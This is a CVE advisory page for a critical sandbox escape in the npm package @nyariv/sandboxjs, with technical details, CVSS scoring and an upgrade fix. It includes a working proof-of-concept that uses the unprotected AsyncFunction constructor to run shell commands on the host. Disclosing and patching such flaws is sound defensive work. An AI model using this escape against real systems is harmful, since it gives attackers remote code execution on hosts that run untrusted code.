Loading...
Skip to main content

CVE-2026-23830 — Vulnerability in @nyariv/sandboxjs — CVE Details

CRITICAL

SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor

Published January 27, 2026Updated February 3, 2026Source: osv

Summary

### Summary A sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction` ### Details The library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups. However, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`). In `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor. Constructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution). ### PoC ```js const sandbox = require('@nyariv/sandboxjs'); const s = new sandbox.default(); const payload = ` const af = async () => {}; // .constructor returns the host AsyncFunction constructor because it's not intercepted const AsyncConstructor = af.constructor; console.log("AsyncConstructor name:", AsyncConstructor.name); // Create a function that executes outside the sandbox const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()"); // Execute RCE const p = func(); p.then(proc => { console.log(proc); }); `; try { s.compile(payload)().run(); } catch (e) { console.error("Bypass failed:", e.message); } ``` Run above script in nodejs. If you run it in browser, change the `AsyncConstructor` argument by returning `window` object. ### Impact A Remote Code Execution, attacker may be able to run an arbitrary code.

Advisory Timeline

  • First published January 27, 2026 (258 days ago).
  • Last revised February 3, 2026 — 6 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @nyariv/sandboxjs to 0.8.26 or later
npm install @nyariv/sandboxjs@0.8.26

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@nyariv/sandboxjs
npm
All versions0.8.26

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-23830?
SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-23830?
CVE-2026-23830 affects @nyariv/sandboxjs. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-23830 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-wxhw-j4hc-fmq6

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies